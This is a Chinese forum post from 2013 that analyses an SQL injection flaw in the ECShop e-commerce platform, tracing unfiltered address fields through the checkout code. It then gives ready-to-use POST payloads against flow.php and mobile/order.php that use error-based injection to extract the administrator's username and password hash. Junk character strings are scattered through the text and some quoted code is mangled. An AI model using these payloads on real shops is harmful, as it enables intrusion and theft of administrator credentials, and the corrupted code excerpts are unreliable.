找回密码
 立即注册
查看: 2517|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
, s. ~! F  r8 r: o
/ M. B8 ?2 G2 D    漏洞关键文件:
0 r/ A% @- `2 b' H8 J: R; G* V+ I2 L, _
; X% P) V4 }; c/ x    /includes/lib_order.php; Y* \$ ]2 M+ N1 d" l, H2 \* i
$ S6 K; k2 S5 j5 [
    关键函数:
$ i4 l3 X; A/ C; U5 b' ~. I. |/ F  q4 A0 ^4 M/ Q
1 K) F, O) J1 l3 j0 Q

+ U1 O& k7 P! l3 A3 Y8 }7 m01     function available_shipping_list($region_id_list) 1 ?/ Y/ T2 x/ m% M6 U4 g: c- U

7 V; G# T( P$ u3 W! @02 {
9 e( ^8 q+ s6 H8 G0 f3 M. p: ?. q7 X: Y' k' I4 H
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ A. i; h5 `$ `# ]6 Y. K) }5 {: u. `  b7 g/ x6 k* z5 q
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 8 y) S5 `+ K: `: Q  z% C
3 s+ }: e0 K" x  `! W; H' _. m5 n
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 5 F6 z  j$ u4 E& [
1 Y6 n. Z0 ^2 Z2 @0 o; }
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . % \9 }) o; ~# ^) ~
, t1 G3 ]; |/ j3 V9 I2 z) w7 s  H# A* n
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 1 T- k/ r9 W! G$ h- ^
5 q" A8 V; s0 q8 Z9 j
08             'WHERE r.region_id ' . db_create_in($region_id_list) . + H1 k& ?! P! m1 A1 T/ f

/ O7 j$ }- p) u: _% }09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';   r, _2 @* W2 q2 E# i/ p
0 P9 X$ F- z, Q* Y2 U1 X" S0 p
10   
6 m, J; G1 g( K  B
8 a* r% @* q* C11     return $GLOBALS['db']->getAll($sql);
+ v) c, G! n, J  |: X- p" Q0 Z& k$ A& ?* H
12 } 7 }- J0 B5 V4 c, F% ?- x

; T) C/ {8 N0 B- j! d显然对传入的参数没有任何过滤就带入了查询语句。
- o2 }7 i; x* b; ]  T # s# `& F/ a$ T1 Z
下面我们追踪这个函数在flow.php中:
2 s/ }9 A# P5 @7 {5 Y 第531行:   ! m! `9 X3 V$ E9 z9 n0 _" G
' d5 G: [/ o6 ~) \8 _8 `( S
1 $shipping_list     = available_shipping_list($region);
) t, r2 W! l- V; I& q4 y: N( Z1 m( r# G9 I2 ?  a

1 C3 i' j& i/ f* k
4 Y; O( @) ^* v, i
/ E$ a; B1 V  r# n/ e- x! Q: b. ?( {+ X6 ?
再对传入变量进行追踪:
/ q( y. g  V( ^$ i
* v5 ]4 c1 u7 _2 D第530行:    ) h: O3 z/ c) M2 r$ v1 o
% S" I- R# v) F% o' ^
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ! |1 V, C+ `' W; O, s

" S: c* X5 r3 N* r0 T 4 G! ~6 |2 {* q' @2 z! e2 Z$ T
; c) H" j- p+ \

" b2 H5 \# J8 ^8 B) p
$ P$ v9 ^9 J& c0 g: C. a- I第473行:        - X0 X/ P0 a1 s& u" H! ~' ^9 g
4 J  B/ s/ L0 N4 }; o* R
1 $consignee = get_consignee($_SESSION['user_id']);
7 z1 y( x3 z/ ?) @: P( \/ Q! K: Y/ }7 q  M
到了一个关键函数:/ l5 F0 z9 L: @6 Y+ `; m/ u# ?/ }1 k+ L

# B% {$ y% p" u) ~4 w, }- g/includes/lib_order.php/ H; ]! `5 l/ R+ @* q
; N# g9 w( y0 S6 L) E

! g$ C0 N$ r, U8 t" H/ g4 S- s. X+ e6 @% X+ M8 W

. K) a" L7 b8 O# p- {- m; z" i1 k
01 function get_consignee($user_id) / f" x1 ]( b$ H. H+ K

& e8 V: u; a& h* n9 \02 {
* d7 g" k2 k8 L, P$ w5 n% T8 f" r; v
03     if (isset($_SESSION['flow_consignee']))
% {# @- v- l, \+ v( @0 ?' e
. y& |0 w# P+ `6 u' x04     {
" K0 c9 I8 c5 Q
, T# G9 D' t: a/ l9 S* P0 J4 w05         /* 如果存在session,则直接返回session中的收货人信息 */ , G# p) @5 W+ s$ N- B' s9 W% y9 O- s
; j, l+ ?7 h2 M+ v  ^8 K  X# F/ {
06   ( ~$ |- s; f3 R
" l$ r  Y) h( w5 q+ e
07         return $_SESSION['flow_consignee'];
. k6 }# f" v' L( w$ o. }. o5 r
2 e3 }7 c! b7 W08     }
0 L0 [- p8 @" n+ ^+ X) f& u; i3 M, l/ q% R9 y
09     else , M# K* i  z$ X: z$ z! t1 C
: Q2 t6 {8 X8 @
10     { " x( K4 q. S( I2 V2 T

9 e! ?" T3 A0 f! w$ x11         /* 如果不存在,则取得用户的默认收货人信息 */
2 @2 h6 J3 X$ U
7 W+ K3 [+ N' k  s12         $arr = array(); 3 _  ]/ s4 Z- B. E$ ]/ ^

2 O! [& S) ]* Q( S% c8 K  e% J. j5 [13   7 U3 W2 Y, ]$ t$ D% }
7 O' \% S) b, I5 ~( E
14         if ($user_id > 0)
4 M' h# _$ P$ m3 q1 J' I7 p+ w* |" O+ W# t6 E9 C" Y
15         { 9 R) g# D3 a. i3 B( `

0 C3 w% M1 A3 L% v# O16             /* 取默认地址 */
2 k7 T! |$ Z* {! k' I3 j% w2 V, q& m0 Z- n
17             $sql = "SELECT ua.*".
) z9 U7 F( F# O$ I% i9 H9 x& J: `2 Q; ?5 [( y2 c- M# L
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. , m' A, h3 N) G  g- p4 n* M7 a
7 p0 Q" t6 D8 Q7 o5 ?; p
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 8 n0 V4 e( f& X

2 I+ n0 e; E/ ]+ g20   
3 a: r  b2 W2 j3 t
3 k  A; v8 t2 o7 |; v21             $arr = $GLOBALS['db']->getRow($sql); / m8 U" B7 o6 G
( V9 A  Q+ X" _/ Z6 x+ l' g1 J
22         }
6 g9 |9 D# Y* Y8 B# A0 R" `, M1 B0 \, l/ D3 ~
23   ( P/ L3 y' O2 h" R& t! d

, Q3 a3 m) K5 O0 K+ j0 L$ _! o24         return $arr;
$ H. |3 [. ]  M& T$ T8 s
  M/ p2 l% H/ x. j4 f# q9 ^25     } . m5 Z  L% m& \. z" m$ h2 {. t

# a, F, q4 g  I7 C" l- t26 } 0 F% p$ _) e3 N% ^3 G" ?
% n3 W6 u* ~1 F/ [- ~
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 C! P$ o# P- Q/ j/ l; C' p% c4 {) X

1 F; ]7 W. t" \2 B' }+ u2 _, C9 k$ e
关键点:
+ `) P" f  Z, b* P& y3 d. \! d5 |
" K8 h) G9 V0 X0 K% N第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
! U" X' C8 [+ L* S) C/ a$ L% m' V
6 v5 b) z, c. F4 Q' ?这里对传入参数反转义存入$_SESSION中。: b" C" {8 @0 Q# z$ m
3 X5 }/ O) N& g: x9 T
2 i8 i+ h% n3 m, _

' j- H2 N! P% O0 T1 _" q9 ]4 S然后看下:4 e/ t2 K% h9 @& {: N

2 w2 O1 C' u" r- _
  ~7 q0 a) N  ?' z! F  w3 i( l% D' K0 \" I2 ]3 ?  V
   
" e/ u8 l% h  ^, }0 P" ]. P3 G4 q1 I! g2 @: V4 I* [( N
01 $consignee = array( ( V, @+ b. y' U
  v* q- [$ X( x7 b
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 1 ~: ~# H( d9 |" p2 g* M
" Y: a* i! r( {/ L5 g. z9 K
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
2 X5 ]" j6 u6 P$ \7 Y  B0 Y) q) |5 {% r* p& `: w1 f
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
7 P; F5 C% K* I6 \. `$ i5 I, t% n( l) Q) F
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
+ c' |$ h: M) ], u9 U
1 u$ ~& K- T2 r+ O) z5 O* x! s7 T  ]06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 s/ J9 }$ `8 q8 @) P& A9 d( k2 W) I! O4 X9 L6 {
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
+ T# |1 z) m9 ?# J8 W! v" R. O' H9 v# M
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 0 G/ ?! X) c# m" T) x3 f" H
! f# L6 D5 d' C: Z: q( S
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ) a+ Q. L* o. Y; N

  L# f0 C4 f0 Q0 x) Y10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ; S  n1 ^( x8 z* u2 ?8 Q5 V

9 M5 u: o7 g6 G11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), ( Z( {+ L4 y1 i

3 d$ v  {) ^4 T$ |12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), . k- {, s; E) h4 H
8 T' T/ h2 ]9 X. ?  U
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " w2 V2 ~4 C6 X, f/ Q

/ g% N+ i- q, d3 x# Z8 c( Z2 a14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], + e0 _6 o; W& v$ n1 x
2 d, j0 @# ?% O+ r. w, t  E& N- {
15     );
/ A0 F$ a) z* P# e% T' r
, \. V7 _0 [! s4 S! T, H5 w好了注入就这样出现了。2 u( s. j+ X0 u2 a9 G: M# A

6 ?: l- R# B  z/ ]& u==================
) {' n- B! m- R% O6 l. N1 R" O& r" K, g# E2 d/ m8 H
注入测试:
) }/ J8 |: w% a) w; w. Z4 R- s/ G9 v7 k+ a( X- Z4 h
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 l' l7 z. v' w; J4 J) M0 l) G$ B7 u/ f2 C! Z; z# s
测试程序:ECShop_V2.7.3_UTF8_release1106) y( g2 z- k9 V3 \( A3 V& Q

) c9 z+ v, P2 `- d! e 9 t6 m; S8 V" w' {1 u/ e# {& w3 k4 b

7 Y3 R( n& o# r5 d0 m# _1 [1.首先需要点击一个商品加入购物车! Q. T1 ]: T  x8 r4 P' S" [
& p6 d( @0 e% I( @9 `$ F
2.注册一个会员帐号
1 k3 y; J5 W1 q7 E. Z0 K2 l6 l9 g
" z; P3 z9 C' Y7 b. Y& P2 ]+ Y! p8 j3.post提交数据
! u/ K  ~- F6 G0 c: n% _) ]% o' m$ J8 k" ]6 M

( ?( B! v  @! A3 }  [- c# ]
2 r4 Q# W) \+ O) t6 ~1 http://127.0.0.1/ecshop/flow.php
3 r/ o0 d1 T7 d0 p$ ~8 I' \& ]+ B8 Q9 s! t/ [
2   
3 M8 P: N7 S6 h& n  ^* g# M, H. n
! F+ U: @6 E$ U7 d4 y. j$ z3 M3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= $ u% V  X& |- c) t
举一反三,我们根据这个漏洞我们可以继续深入挖掘:* D) R0 Y" N3 {" i+ X0 h: I- y( h

: Y6 {2 B' n+ M( k我们搜寻关键函数function available_shipping_list()
$ T7 p9 G/ V2 x4 k- S6 S2 \3 R' h. D  o0 f: c% s6 N& z3 Z9 k
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同8 n, y; A: z/ V) K6 [/ H5 z( v( O

% c: M- q/ p; k/ ?5 i" j0 _) n利用exp:
. f# F0 T. c. k: a$ O4 Y1 n
- E! R& Z; a$ j3 ^0 {1 P) n1.点击一个商品,点击购买商标& z7 G  P$ o0 D( X
( |- a: Y: U( b
2.登录会员帐号
, U8 U/ F. a! X5 K! N' z/ b- {7 [; d0 x: Y" c
3.post提交:8 N3 v, \9 }8 a$ q5 X% C

1 D# x2 I) N, o7 ehttp://127.0.0.1/ecshop/mobile/order.php
2 o7 O; x: l& |: N# d9 L3 K
3 l, ~. H6 \! u7 T5 E9 ] 6 a# _# z$ p/ N( g3 x9 o
7 k8 U( |2 d$ E  k& C1 x3 j$ X4 f* P
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=& K" ~9 D- N1 p
9 c8 p' o3 x0 D4 i4 N1 O# p' r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表